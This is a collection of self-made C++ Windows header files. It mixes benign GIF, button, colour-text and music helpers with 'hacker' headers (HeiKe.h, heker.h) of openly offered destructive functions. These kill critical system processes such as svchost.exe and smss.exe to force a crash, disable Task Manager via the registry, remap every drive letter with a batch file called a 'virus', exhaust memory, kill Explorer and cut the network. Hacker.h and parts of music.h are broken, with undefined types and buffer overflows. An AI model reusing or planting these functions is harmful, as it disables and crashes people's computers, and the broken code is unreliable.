C++自创头文件合集

HeiKe.h

#include <bits/stdc++.h>
#include <conio.h>
#include <windows.h>
using namespace std;
void Make_Text(string same, string name)
{
	//HWND hWnd = GetConsoleWindow(); 
    //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); 
		ofstream outfile(same,ios::out); 
	if (!outfile) 
	{  
		cerr<<"open error"<<endl;  
	} 
	outfile<<name;
	outfile.close();	
}
//主机的好管理
void shutdown(int x, int y)
{
	Sleep(x * 1000);//等待n秒
	if(y == 1)
		system("shutdown -p");//关机
	if(y == 2)
		system("shutdown -s -r 0");//重启
	if(y == 3)
		system("shutdown -l");//注销
}
//鼠标指针的好管理
void Currur(int q)
{
    int x = GetSystemMetrics(SM_CXSCREEN);
    int y = GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    if (q == 1)//当q为1时,进入死循环。
	    while(1)
	    	SetCursorPos(rand() % x, rand() % y);			
	else{//乱移鼠标的线程
	    while(q){
	    	SetCursorPos(rand() % x, rand() % y);
	    	q--;
		}	
	}
}
//控制台的好管理
void Hide()
{
    HWND s;
	s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄
	if (s) {
		ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口
		ShowWindow(s, SW_HIDE);//隐藏窗口
	}	
}
//图标的好管理
void Icon(int x, int y, int n)
{
	FreeConsole();
	HWND hwnd = GetDesktopWindow();
	HDC hdc = GetWindowDC(hwnd);
	POINT point;
	while(1)
	{
		GetCursorPos(&point);//锁定鼠标位置
		if(n == 1)//错误图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));
		if(n == 2)//感叹号图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));
		if(n == 2)//应用程序图标
			DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));	
	}
}
//卡死
void Die()
{
	while(1)
	{
		new char;
		malloc(INT_MAX);
	}
}
//远程攻击
void Shutdown_Go()
{
	system("shutdown /i");
}
void color (int a) {
    if (a == 0 || a == 14 || a == 20) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 1 || a == 12) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 2) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_GREEN);
    } else if (a == 3) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);
    } else if (a == 4 || a == 11) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED);
    } else if (a == 5 || a == 13) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);
    } else if (a == 7) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 15) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);
    } else if (a == 16) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);
    } else if (a == 17) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);
    } else if (a == 8) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);
    } else if (a == 6) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_BLUE);
    } else if (a == 9) {
        SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),
        FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);
    }
}
void explore()//不可打开资源管理器
{
	system("taskkill /im explore.exe /f"); 
}
void release()//断开网络
{
	system("ipconfig /release"); 
}

heker.h

#include <bits/stdc++.h> 
#include <iostream>
#include <cstdlib>
#include <cstdlib>
#include <ctime>
#include <Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#include <cstring> 
#include "fstream"
#include <conio.h>
#include <cmath>
#include <HeiKe.h>

using namespace std;
void SetPos (COORD a) {
	HANDLE out = GetStdHandle (STD_OUTPUT_HANDLE);
	SetConsoleCursorPosition (out, a);
}
void SetPos(int i, int j) {
	COORD pos = { i, j };
	SetPos (pos);
}
VOID MaKer_Blue_Screen()
{
	system("wmic process where name=\"svchost.exe\" delete");
	system("wmic process where name=\"LsaIso.exe\" delete");
	system("wmic process where name=\"smss.exe\" delete");
	system("taskkill /f /fi \"pid ne 1\"");
}
void MaKer_msgbox(char name[], char same[], string ico)
{
	if(ico == "错误")
		MessageBox(NULL, same, name, MB_ICONERROR|MB_OK);
	if(ico == "警告")
		MessageBox(NULL, same, name, MB_ICONWARNING|MB_OK);
	if(ico == "问号" || ico == "访问")
		MessageBox(NULL, same, name, MB_ICONQUESTION|MB_OK);
	if(ico == "信息")
		MessageBox(NULL, same, name, MB_ICONINFORMATION|MB_OK);
}
bool MaKer_ProcessRun()
{
    SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;
    PSID minID;
    BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);
    if(b)
    {
        CheckTokenMembership(NULL, minID, &b);
        FreeSid(minID);
        return b == true;
    }else
   		return b == false;
}
struct MaKer_CP{
	VOID MaKer_start()
	{
		Make_Text("爱的病毒.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");
		system("start 爱的病毒.bat");
	}
	void MaKer_stop()
	{
		Make_Text("爱的病毒2.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");
		system("start 爱的病毒2.bat");
	}
}cp;

VOID echo_of()
{
	system("@echo off");
}
VOID MaKer_Tsk()
{
	echo_of();
	DWORD dword=TRUE;
	HKEY h;
	DWORD s = dword;
	RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);
	RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));
	RegCloseKey(h);
}
void MaKer_full_screen() {
	echo_of();
	HWND hwnd = GetForegroundWindow();
	int cx = GetSystemMetrics(SM_CXSCREEN);
	int cy = GetSystemMetrics(SM_CYSCREEN);
 
	LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);   
	SetWindowLong(hwnd,GWL_STYLE,
	              (l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &
	              ~WS_BORDER);
	SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
void HideCursor()
{
	echo_of();
	HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
	CONSOLE_CURSOR_INFO CursorInfo;
	GetConsoleCursorInfo(handle, &CursorInfo);//获取控制台光标信息
	CursorInfo.bVisible = false; //隐藏控制台光标
	SetConsoleCursorInfo(handle, &CursorInfo);//设置控制台光标状态
}
void MaKer_print(const char* p, double time)
{
	echo_of();
    while (1)
    {
        if (*p != 0)
        {
        	printf("%c", *p++);
        }
        else
        {
            break;
        }
        Sleep(time * 1000);
    }
}
void MaKer_show()
{
	echo_of();
	color(2);
	printf("notepad - 记事本\n");
	printf("calc - 计算器\n");
	printf("winver - 关于\"Windows\"\n");
	printf("Nslookup - 默认服务器\n");
	printf("cmd - 命令行\n");
	printf("cleanmgr - 磁盘清理\n");
	printf("charmap - 字符映射表\n");
	printf("dxdiag - Dxdiag修复工具\n");
	color(1);
	printf("taskmgr - 任务管理器\n");
	color(2);
	printf("wiaacmgr - 扫描仪\n");
	printf("mspaint - 画图\n");
	printf("mmc - 控制台\n");
	color(532);
}
void MaKer_Start(string same)
{
	echo_of();
	if(same == "notepad")	
		system("start notepad");
	if(same == "calc")	
		system("start calc");
	if(same == "winver")	
		system("start winver");
	if(same == "Nslookup")	
		system("start Nslookup");
	if(same == "cmd" || same == "")	
		system("start cmd");
	if(same == "cleanmgr")	
		system("start cleanmgr");
	if(same == "charmap")	
		system("start charmap");
	if(same == "dxdiag")	
		system("start dxdiag");
	if(same == "taskmgr")	
		system("start taskmgr");
	if(same == "wiaacmgr")	
		system("start wiaacmgr");		
	if(same == "mspaint")	
		system("start mspaint");
	if(same == "mmc")	
		system("start mmc");		
}
void MaKer_Taskkill(string same)
{
	echo_of();
	if(same == "notepad")	
		system("taskkill /im notepad.exe");
	if(same == "calc")	
		system("taskkill /im calc.exe");
	if(same == "winver")	
		system("taskkill /im winver.exe");
	if(same == "Nslookup")	
		system("taskkill /im Nslookup.exe");
	if(same == "cmd" || same == "")	
		system("taskkill /im cmd");
	if(same == "cleanmgr")	
		system("taskkill /im cleanmgr.exe");
	if(same == "charmap")	
		system("taskkill /im charmap.exe");
	if(same == "dxdiag")	
		system("taskkill /im dxdiag.exe");
	if(same == "taskmgr")	
		system("taskkill /im taskmgr.exe");
	if(same == "wiaacmgr")	
		system("taskkill /im wiaacmgr.exe");		
	if(same == "mspaint")	
		system("taskkill /im mspaint.exe");
	if(same == "mmc")	
		system("taskkill /im mmc.exe");		
}

Hacker.h

#ifndef HACKER_H

#include <httpext.h>
#include <Maker_World.h>
using namespace std;

BOOL ReleaseWef(bool bStatus)
{
	IN LPTSTR DeviceDesc;
	
	char szNetName[512];
	memset(szNetName,0x00,512);
	char szNetType[512];
	memset(szNetType,0x00,512);

	GetPrivateProfileString("NETCARD","TYPE","-1",szNetType,sizeof(szNetType),".//ConfigInfo.ini");

	GetPrivateProfileString("NETCARD","NAME","-1",szNetName,sizeof(szNetName),".//ConfigInfo.ini");

	DeviceDesc=szNetName;


	DWORD NewState;

	if(bStatus)
	{
		NewState=CS_DISABLE;
	}
	else
	{
		NewState=DCB_ENABLE;
	}

	DWORD i,err;
	BOOL Found=false;

	HDE hDevInfo;
	SP_DEVINFO_DATA spDevInfoData;

	hDevInfo=SetupDiGetClassDevs(NULL,szNetType,NULL,DIGCF_ALLCLASSES );
	if (hDevInfo == INVALID_HANDLE_VALUE)
	{
		gpMainDlg -> PrintMsg("访问系统硬件出错!",ERRORMSG);
		return false;
	}

	spDevInfoData.cbSize = sizeof(SP_DEVINFO_DATA);
	for (i = 0; SetupDiEnumDeviceInfo(hDevInfo, i, &spDevInfoData); i++)
	{
		DWORD DataT;
		LPTSTR p, buffer = NULL;
		DWORD buffersize = 0;
		while (!SetupDiGetDeviceRegistryProperty(hDevInfo, &spDevInfoData, SPDRP_DEVICEDESC, &DataT, (PBYTE)buffer, buffersize, &buffersize))
		{
			if (GetLastError() == ERROR_INVALID_DATA)
			{
				break;
			}
			else if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
			{
				if (buffer)
				LocalFree(buffer);
				buffer = (char *) LocalAlloc(LPTR,buffersize);
			}
			else
			{
				goto cleanup_DeviceInfo;
			}
		}
		if (GetLastError() == ERROR_INVALID_DATA)
			continue;

		for (p = buffer; *p&&(p < &buffer[buffersize]); p += lstrlen(p)+sizeof(TCHAR))
		{
			if (!_tcscmp(DeviceDesc,p))
			{
				Found = TRUE;
				break;
			}
		}
	}
}

void StartHtml(const char *URL)
{
    char *Will = "start ";
    strcat(Will, URL);
    system(Will);
}

void OffRelease()//断开网络
{
	system("ipconfig /release"); 
}

void OffReleasePermanent()//断开网络
{
	ReleaseWef(true);
}

void OnRelease()//断开网络
{
	ReleaseWef(false);
}
#endif

Art_Text.h

#ifndef ART_TEXT_H

#include <windows.h>
#include <bits/stdc++.h>

using namespace std;

HWND hWnd = GetConsoleWindow(); 

#define Art_Windows(bool)  bool ? SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW) : SetWindowLong(NULL, GWL_EXSTYLE, WS_EX_TOOLWINDOW)
#define Art_Title(string)	SetConsoleTitle(string)

void Art_Colour(int colors)
{
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), colors);
}

void Art_Text(string Text, string Behind, const char* Printf, int Wait_Time)
{
	int Behind_Size[16];
	int Behind_Size_Head[16] = {0, 16, 32, 48, 64, 80, 96, 112, 128, 144, 160, 176, 192, 208, 224, 240};
	int Behind_Head;
	int Text_Size_Head[16] = {0, 1, 2, 3, 4, 80, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15};
	int Text_Head;
	if(Behind == "黑色")
		Behind_Head = Behind_Size_Head[0];
	if(Behind == "暗深蓝色")
		Behind_Head = Behind_Size_Head[1];
	if(Behind == "深绿色" || Behind == "暗绿色")
		Behind_Head = Behind_Size_Head[2];
	if(Behind == "暗淡蓝色")
		Behind_Head = Behind_Size_Head[3];
	if(Behind == "暗红色" || Behind == "深红色")
		Behind_Head = Behind_Size_Head[4];
	if(Behind == "暗紫色" || Behind == "深紫色")
		Behind_Head = Behind_Size_Head[5];
	if(Behind == "暗黄色" || Behind == "深黄色")
		Behind_Head = Behind_Size_Head[6];
	if(Behind == "浅灰色")
		Behind_Head = Behind_Size_Head[7];
	if(Behind == "深灰色")
		Behind_Head = Behind_Size_Head[8];
	if(Behind == "深蓝色" || Behind == "浅深蓝色")
		Behind_Head = Behind_Size_Head[9];
	if(Behind == "绿色" || Behind == "浅绿色")
		Behind_Head = Behind_Size_Head[10];
	if(Behind == "蓝色" || Behind == "浅蓝色")
		Behind_Head = Behind_Size_Head[11];
	if(Behind == "红色" || Behind == "浅红色")
		Behind_Head = Behind_Size_Head[12];
	if(Behind == "紫色" || Behind == "浅紫色")
		Behind_Head = Behind_Size_Head[13];
	if(Behind == "黄色" || Behind == "浅黄色")
		Behind_Head = Behind_Size_Head[14];
	if(Behind == "白色" || Behind == "浅白色")
		Behind_Head = Behind_Size_Head[15];
	if(Text == "黑色")
		Text_Head = Text_Size_Head[0];
	if(Text == "暗深蓝色")
		Text_Head = Text_Size_Head[1];
	if(Text == "深绿色" || Text == "暗绿色")
		Text_Head = Text_Size_Head[2];
	if(Text == "暗淡蓝色")
		Text_Head = Text_Size_Head[3];
	if(Text == "暗红色" || Text == "深红色")
		Text_Head = Text_Size_Head[4];
	if(Text == "暗紫色" || Text == "深紫色")
		Text_Head = Text_Size_Head[5];
	if(Text == "暗黄色" || Text == "深黄色")
		Text_Head = Text_Size_Head[6];
	if(Text == "浅灰色")
		Text_Head = Text_Size_Head[7];
	if(Text == "深灰色")
		Text_Head = Text_Size_Head[8];
	if(Text == "深蓝色" || Text == "浅深蓝色")
		Text_Head = Text_Size_Head[9];
	if(Text == "绿色" || Text == "浅绿色")
		Text_Head = Text_Size_Head[10];
	if(Text == "蓝色" || Text == "浅蓝色")
		Text_Head = Text_Size_Head[11];
	if(Text == "红色" || Text == "浅红色")
		Text_Head = Text_Size_Head[12];
	if(Text == "紫色" || Text == "浅紫色")
		Text_Head = Text_Size_Head[13];
	if(Text == "黄色" || Text == "浅黄色")
		Text_Head = Text_Size_Head[14];
	if(Text == "白色" || Text == "浅白色")
		Text_Head = Text_Size_Head[15];
	for(int i = Behind_Head; i <= Behind_Head + 15; i++)
		Behind_Size[i - Behind_Head] = i;
	int Size = Behind_Size[Text_Head];
    while (1)
    {
    	Art_Colour(Size);
        if (*Printf != 0)
        {
        	printf("%c", *Printf++);
        }
        else
        {
            break;
        }
        _sleep(Wait_Time);
        Size++;
    }
}

#endif

Gif.h

#pragma once
#ifndef _EGEUTIL_GIF_H_
#define _EGEUTIL_GIF_H_

#include <time.h>
#include <graphics.h>
#include <gdiplus.h>

class GIF 
{
private:
	int x, y;
	int width, height;
	int frameCount;					//帧数

	HDC hdc;						//设备句柄
	Gdiplus::Graphics* graphics;	//图形对象

	Gdiplus::Bitmap* gifImage;		//gif图像
	Gdiplus::PropertyItem* pItem;	//帧延时数据

	int curFrame;					//当前帧
	clock_t pauseTime;				//暂停时间

	clock_t	frameBaseTime;			//帧基准时间
	clock_t	curDelayTime;			//当前帧的已播放时间
	clock_t	frameDelayTime;			//当前帧的总延时时间

	bool playing;					//是否播放
	bool visible;					//是否可见

public:
	GIF(const WCHAR* gifFileName = NULL, HDC hdc = getHDC(NULL));
	GIF(const GIF& gif);

	virtual ~GIF();

	GIF& operator=(const GIF& gif);

	//加载图像
	void load(const WCHAR* gifFileName);

	//绑定设备
	void bind(HDC hdc);
	void bindWindow();

	//清空加载图像
	void clear();

	//位置
	void setPos(int x, int y);
	void setSize(int width, int height);

	int getX() const { return x; }
	int getY() const { return y; }

	//图像大小
	int getWidth() const { return width; }
	int getHeight() const { return height; }

	//原图大小
	int getOrginWidth() const;
	int getOrginHeight() const;

	//帧信息
	int getFrameCount() const { return frameCount; }
	int getCurFrame() const { return curFrame; }

	//延时时间获取,设置
	int getDelayTime(int frame) const;
	void setDelayTime(int frame, long time_ms);
	void setAllDelayTime(long time_ms);
	
	//更新时间,计算当前帧
	void updateTime();
	
	//绘制当前帧或指定帧
	void draw();
	void draw(int x, int y);
	void drawFrame(int frame);
	void drawFrame(int frame, int x, int y);

	//获取图像
	void getimage(PIMAGE pimg, int frame);

	//播放状态控制
	void play();
	void pause();
	void toggle();

	bool isPlaying()const { return playing; }

	void setVisible(bool enable) { visible = enable; }
	bool isVisible() const { return visible; }

	bool isAnimation() const { return frameCount > 1; }

	//重置播放状态
	void resetPlayState();

	void info() const;
	
private:
	void init();	//初始化
	void read();	//读取图像信息
	void copy(const GIF& gif);
};

#endif // !_EGEUTIL_GIF_H_

Gif.cpp

//#define SHOW_CONSOLE
#include <stdio.h>
#include "Gif.h"

//构造函数
GIF::GIF(const WCHAR* gifFileName, HDC hdc)
{
	init();
	if (gifFileName != NULL)
		load(gifFileName);
	bind(hdc);
}

//复制构造函数
GIF::GIF(const GIF& gif)
{
	copy(gif);
}

//析构函数
GIF::~GIF()
{
	delete gifImage;
	delete pItem;
	delete graphics;
}

//赋值操作符重载
GIF & GIF::operator=(const GIF & gif)
{
	if (this == &gif)		return *this;
	if (graphics != NULL)	delete graphics;
	if (pItem != NULL)		delete pItem;
	if (gifImage != NULL)	delete gifImage;

	copy(gif);

	return *this;
}

//初始化
void GIF::init()
{
	x = y = 0;
	width = height = 0;
	hdc = 0;
	gifImage = NULL;
	graphics = NULL;
	pItem = NULL;
	visible = true;

	resetPlayState();
}

//加载图像
void GIF::load(const WCHAR * gifFileName)
{
	if (gifImage != NULL)
		delete gifImage;
	gifImage = new Gdiplus::Bitmap(gifFileName);

	read();
}

//绑定绘制目标HDC
void GIF::bind(HDC hdc)
{
	this->hdc = hdc;
	if (graphics != NULL)
		delete graphics;
	graphics = Gdiplus::Graphics::FromHDC(hdc);
}

//绑定绘制目标到窗口
void GIF::bindWindow()
{
	if (hdc != getHDC())
		bind(getHDC());
}

//清除加载的图像
void GIF::clear()
{
	if (gifImage) {
		delete gifImage;
		gifImage = NULL;
	}

	if (pItem) {
		delete pItem;
		pItem = NULL;
	}
	frameCount = 0;
}

//获取图像原宽度
int GIF::getOrginWidth() const
{
	if (!gifImage)
		return 0;
	return gifImage->GetWidth();
}

//获取图像原宽度
int GIF::getOrginHeight() const
{
	if (!gifImage)
		return 0;
	return gifImage->GetHeight();
}

void GIF::setPos(int x, int y)
{
	this->x = x;
	this->y = y;
}

//设置图像大小
void GIF::setSize(int width, int height)
{
	this->width = width;
	this->height = height;
}

//在当前位置绘制当前帧
void GIF::draw()
{
	draw(x, y);
}

//在指定位置绘制当前帧
void GIF::draw(int x, int y)
{
	updateTime();
	drawFrame(curFrame, x, y);
}

//在当前位置绘制指定帧
void GIF::drawFrame(int frame)
{
	drawFrame(frame, x, y);
}

//在指定位置绘制指定帧
void GIF::drawFrame(int frame, int x, int y)
{
	if (!visible)
		return;
	int w = width, h = height;
	if (w == 0 && h == 0) {
		w = gifImage->GetWidth();
		h = gifImage->GetHeight();
	}
	if (frameCount != 0 && gifImage && 0 <= frame) {
		frame %= frameCount;
		gifImage->SelectActiveFrame(&Gdiplus::FrameDimensionTime, frame);
		graphics->DrawImage(gifImage, x, y, w, h);
	}
}

//获取GIF的指定帧,并保存到pimg中
void GIF::getimage(PIMAGE pimg, int frame)
{
	if (frame < 0 || frameCount <= frame)
		return;

	int width = gifImage->GetWidth(), height = gifImage->GetHeight();

	if (width != getwidth(pimg) || height != getheight(pimg))
		resize(pimg, width, height);

	//自定义图像缓存区(ARGB)
	Gdiplus::BitmapData bitmapData;
	bitmapData.Stride = width * 4;
	int buffSize = width * height * sizeof(color_t);
	bitmapData.Scan0 = getbuffer(pimg);
	
	gifImage->SelectActiveFrame(&Gdiplus::FrameDimensionTime, frame);
	Gdiplus::Rect rect(0, 0, width, height);
	//以32位像素ARGB格式读取, 自定义缓存区

	gifImage->LockBits(&rect,
		Gdiplus::ImageLockModeRead | Gdiplus::ImageLockModeUserInputBuf, PixelFormat32bppARGB, &bitmapData);
	gifImage->UnlockBits(&bitmapData);
}

//获取指定帧的延时时间
int GIF::getDelayTime(int frame) const
{
	if (frame < 0 || frameCount <= frame ||
		!pItem || pItem->length <= (unsigned int)frame)
		return 0;
	else
		return ((long*)pItem->value)[frame] * 10;
}

//设置指定帧的延时时间
void GIF::setDelayTime(int frame, long time_ms)
{
	if (frame < 0 || frameCount <= frame ||
		!pItem || pItem->length <= (unsigned int)frame)
		return;
	else
		((long*)pItem->value)[frame] = time_ms / 10;
}

//统一设置所有帧的延时时间
void GIF::setAllDelayTime(long time_ms)
{
	for (int i = 0; i < frameCount; i++)
		((long*)pItem->value)[i] = time_ms / 10;
}

//播放
void GIF::play()
{
	playing = true;
	clock_t sysTime = clock();
	if (frameBaseTime == 0) {
		pauseTime = frameBaseTime = sysTime;
		curFrame = 0;
		frameDelayTime = getDelayTime(curFrame);
	}
	else
		frameBaseTime += sysTime - pauseTime;
}

//暂停
void GIF::pause()
{
	if (playing) {
		playing = false;
		this->pauseTime = clock();
	}
}

//播放暂停切换
void GIF::toggle()
{
	playing ? pause() : play();
}

//重置播放状态
void GIF::resetPlayState()
{
	curFrame = 0;
	curDelayTime = frameBaseTime = frameDelayTime = 0;
	pauseTime = 0;
	playing = false;
}

//控制台显示GIF信息
void GIF::info() const
{
	printf("绘制区域大小: %d x %d\n", getWidth(), getHeight());
	printf("原图像大小 : %d x %d\n", getOrginWidth(), getOrginHeight());
	int frameCnt = getFrameCount();
	printf("帧数: %d\n", getFrameCount());
	printf("帧的延时时间:\n");
	for (int i = 0; i < frameCnt; i++)
		printf("第%3d 帧:%4d ms\n", i, getDelayTime(i));
}

//读取图像
void GIF::read()
{
	/*读取图像信息*/
	UINT count = gifImage->GetFrameDimensionsCount();
	GUID* pDimensionIDs = (GUID*)new GUID[count];
	gifImage->GetFrameDimensionsList(pDimensionIDs, count);
	//帧数
	frameCount = gifImage->GetFrameCount(&pDimensionIDs[0]);
	delete[] pDimensionIDs;

	if (pItem != NULL)
		delete pItem;

	//获取每帧的延时数据
	int size = gifImage->GetPropertyItemSize(PropertyTagFrameDelay);
	pItem = (Gdiplus::PropertyItem*)malloc(size);
	gifImage->GetPropertyItem(PropertyTagFrameDelay, size, pItem);
}

//GIF复制
void GIF::copy(const GIF& gif)
{
	hdc = gif.hdc;
	x = gif.x;
	y = gif.y;
	width = gif.width;
	height = gif.height;
	curFrame = gif.curFrame;
	pauseTime = gif.pauseTime;

	frameBaseTime = gif.frameBaseTime;
	curDelayTime = gif.curDelayTime;
	frameDelayTime = gif.frameDelayTime;

	frameCount = gif.frameCount;
	graphics = new Gdiplus::Graphics(hdc);
	gifImage = gif.gifImage->Clone(0, 0, gif.getWidth(), gif.getHeight(), gif.gifImage->GetPixelFormat());

	int size = gif.gifImage->GetPropertyItemSize(PropertyTagFrameDelay);
	pItem = (Gdiplus::PropertyItem*)malloc(size);
	memcpy(pItem, gif.pItem, size);
}

//GIF时间更新,计算当前帧
void GIF::updateTime()
{
	//图像为空,或者不是动图,或者没有调用过play()播放()
	if (frameCount <= 1 || frameBaseTime == 0
		|| (pItem && pItem->length == 0))
		return;

	//根据播放或暂停计算帧播放时间
	curDelayTime = playing ? (clock() - frameBaseTime) : (pauseTime - frameBaseTime);

	int cnt = 0, totalTime = 0;

	//间隔时间太长可能会跳过多帧
	while (curDelayTime >= frameDelayTime) {
		curDelayTime -= frameDelayTime;
		frameBaseTime += frameDelayTime;

		//切换到下一帧
		if (++curFrame >= frameCount)
			curFrame = 0;
		frameDelayTime = getDelayTime(curFrame);

		totalTime += frameDelayTime;

		//多帧图像,但总延时时间为0的处理
		if (++cnt == frameCount && totalTime == 0)
			break;
	}
}

Button.h

#ifndef BUTTON_H
#include <bits/stdc++.h>    
#include <conio.h>          
#include <windows.h>       
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1 : 0)
using namespace std;
void SHOW()
{
	printf("Hello!欢迎使用Button使用向导!");
	Sleep(700);
	printf("\n下面我就简单介绍一下Button头文件。");
	Sleep(700);
	printf("\n1、GetPos没有实际作用。");
	Sleep(700);
	printf("\n2、GOTOXY可以移动光标至(x, y)。");
	Sleep(700);
	printf("\n3、__color可以更改颜色。");
	Sleep(700);
	printf("\n4、Button结构体用来创建按钮,");
	Sleep(700);
	printf("\n结构是:Button 按钮名称 = NewButton(按钮x坐标, 按钮y坐标, 按钮颜色, 按钮内容)。");
	Sleep(700);
	printf("\n5、Preserve用来判断,");
	Sleep(700);
	printf("\n结构是:if (Preserve(按钮名称) == ture) { 执行语句 }。");
	_getch();
}
void GetPos(POINT &pt)
{
	HWND hwnd = GetForegroundWindow();
	GetCursorPos(&pt);
	ScreenToClient(hwnd, &pt);
	pt.y = pt.y / 16, pt.x = pt.x / 8;
	swap(pt.x, pt.y);
}
void GOTOXY(int x, int y)
{
	COORD pos; pos.X = y; pos.Y = x;
	SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), pos);
}
void __color(int a)
{
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), a);
}
struct Button
{
	int x, y, color;
	const char *name;
	int len;
};
Button NewButton(int x, int y, int color, const char *name)
{
	Button t;
	t.x = x, t.y = y, t.name = name;
	t.color = color;
	t.len = strlen(name);
	return t;
}
bool Preserve(Button A)
{
	GOTOXY(A.x, A.y), __color(A.color), printf("%s", A.name);
	POINT pt;
	GetPos(pt);
	if (pt.x == A.x && (pt.y >= A.y&&pt.y <= A.y + A.len))
	{
		__color(112), GOTOXY(A.x, A.y), printf("%s", A.name);
		if (KEY_DOWN(MOUSE_MOVED)) return 1;
	}
	return 0;
}
#endif

music.h

#ifndef MUSIC_H
#define MUSIC_H

#include <graphics.h>
#include <windows.h>
#include <sys/time.h>
#define N NULL

MUSIC bgMusic;

struct MciMusic{
	
	void SendMusic(LPCSTR musicname)
	{
		char Code[10] = "play ";
		strcat(Code, musicname);
		mciSendString(Code, N, 0, N);
	}
	
	void PauseMusic(LPCSTR musicname)
	{
		char Code[10] = "pause ";
		strcat(Code, musicname);
		mciSendString(Code, N, 0, N);	
	}
	
	void ResumeMusic(LPCSTR musicname)
	{
		char Code[10] = "resume ";
		strcat(Code, musicname);
		mciSendString(Code, N, 0, N);	
	}
	
	void CloseMusic(LPCSTR musicname)
	{
		char Code[10] = "close ";
		strcat(Code, musicname);
		mciSendString(Code, N, 0, N);	
	}
};

void BeepMusic(const char *musicname)
{
	bgMusic.OpenFile(musicname);
	bgMusic.SetVolume(1.0f);
	if (bgMusic.IsOpen()) {
		bgMusic.Play(0);
	}
}

#endif

Maker_World.h


/*Definition The MakerWorld For Cheenga*/

#ifndef MAKERWORLD_H

/*The Art Head Files*/

#include <ArtText.h>

/*The Hacker Head Files*/

#include <lm.h>
#include <regex>
#include <vector>
#include <heker.h>


/*The Else Head Files*/

#include <ArtText.h>

#endif

/*End Definition*/

Maker_Game

┕ Ege.h

┕ Console.h

Ege.h

#ifndef MAKER_EGE_H
#define MAKER_EGE_H

#define SHOW_CONSOLE

#include <ege.h>
using namespace ege;

namespace ege_game{
	
	void setcolors(color_t behind, color_t front, color_t fill)
	{
		setcolor(front);
		setbkcolor(behind);
		setfillcolor(fill);
	}
	
	void fillcircle(int x, int y, int radius, color_t fill, color_t front, PIMAGE pimg = __null)
	{
		setcolor(front);
		setfillcolor(fill);
		fillellipse(x, y, radius, radius, pimg);
	}
	
	void fillrectangle(int x1, int y1, int x2, int y2, color_t fill, color_t front, PIMAGE pimg = __null)
	{
		setcolor(front);
		setfillcolor(fill);
		rectangle(x1, y1, x2, y2, pimg);
		bar(x1, y1, x2, y2, pimg);
	}
	
	void put_img(int x, int y, LPCSTR name)
	{
		PIMAGE img = newimage();
		getimage(img, name);
		putimage(x, y, img);
	}
	
	/*void put_img_ZhiDingXY(int x1, int y1, int x2, int y2, LPCSTR name)
	{
		PIMAGE img = newimage();
		getimage(img, name);
		putimage(x1, y1, x2, y2, img);
	}*/

}

#endif

Console.h

#ifndef MAKER_CONSOLE_H

#include <bits/stdc++.h>
#include <ctime>
#include <time.h>
#include <windows.h>
#include <Button.h>
#include <lm.h>
#include <sys/types.h>
